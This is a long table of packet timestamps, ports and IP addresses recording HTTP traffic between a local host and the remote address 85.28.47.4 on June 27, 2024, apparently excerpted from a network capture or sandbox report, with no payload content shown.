Jun 27, 2024 07:37:16.166302919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166340113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166347980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166428089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166440010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166451931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166460037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.166505098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.166572094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166583061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166599035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166610003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166615963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.166621923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166632891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166639090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.166671038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.166843891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166855097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.166882992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.166907072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167011976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167022943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167032957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167043924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167052984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167056084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167081118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167089939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167098999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167102098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167113066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167124033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167126894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167135000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167146921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167150021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167160034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167171001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167181015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167181969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167206049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167223930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167807102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167831898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167844057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167849064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167856932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167860031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167871952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167876005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167882919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167898893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167907000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167910099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167921066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167929888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167931080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167943954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167954922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167957067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.167965889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167977095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167988062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.167999983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168000937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.168000937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.168010950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168018103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.168020964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168047905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.168073893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.168844938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168859005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168870926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168881893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168888092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.168894053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168909073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.168909073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168920994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168931961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168939114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.168942928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168952942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.168955088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168967009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168973923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.168978930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.168991089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169001102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.169002056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169013023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169024944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169034004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.169035912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169051886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169053078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.169064999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169079065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.169101954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.169790983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169802904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169814110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169826031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169836998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169842958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.169857025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169862986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.169868946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169878960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169881105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.169888973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169899940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169908047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.169910908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169923067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169934034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169938087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.169945002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169955969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169959068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.169966936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169977903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.169982910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.169989109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170000076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170006990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.170011044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170037031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.170037985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.170063972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.170455933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170495987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.170665979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170677900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170687914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170698881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170706987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.170711994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170722961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170727968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.170734882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170746088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170753956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.170758009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170773983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170782089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170783043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.170783997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170789957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170798063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170799971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.170804977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170806885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170811892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170818090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.170828104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.170861006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.171432972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.171447992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.171458960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.171471119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.171471119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.171480894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.171497107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.171524048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.245120049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245167017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245178938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245212078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245223999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245248079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.245290995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245295048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.245297909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245342970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.245443106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245457888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245466948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245476961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245486021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.245486021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245496035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245510101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.245558977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.245697975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245707989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245718002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245728016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245738983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.245767117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.245945930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245956898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245965004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245974064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245984077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.245991945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.245992899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246005058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246012926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246021032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.246023893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246032953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246049881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.246076107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.246458054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246468067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246476889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246485949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246495008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246504068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246514082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246519089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246520042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.246524096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246527910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246536970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246542931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246548891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246548891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.246560097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246572018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.246582985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.246606112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.246629000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.246995926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247006893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247047901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.247144938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247159958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247167110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247173071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247174978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247176886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247185946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.247194052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247205019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247215986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247219086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.247226954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247237921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247247934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247255087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.247256041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247266054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247275114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247278929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.247292042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.247318029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.247757912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247767925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247776985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247786999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247807026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.247822046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.247878075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247889042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247896910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247905970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247916937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247920036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.247926950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247936010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247941971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.247950077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247957945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.247973919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.248006105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.248294115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248305082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248313904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248338938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.248357058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.248548985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248558998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248567104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248577118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248586893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248590946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.248595953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248605013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248611927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.248615980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248625994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248635054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248645067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248645067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.248655081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248663902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248667955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.248673916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248682022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.248683929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248692989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248702049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.248708010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.248725891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.248752117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.249335051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249345064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249355078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249365091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249373913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249383926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249387026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.249393940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249403000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249407053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.249409914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249418974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249428988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249428988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.249439955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249449968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249452114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.249459982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249470949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249480963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.249500036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.249517918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.249988079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.249999046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.250009060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.250017881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.250031948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.250035048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.250045061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.250055075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.250055075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.250063896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.250072956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.250082970 CEST	80	49705	85.28.47.4	192.168.2.5
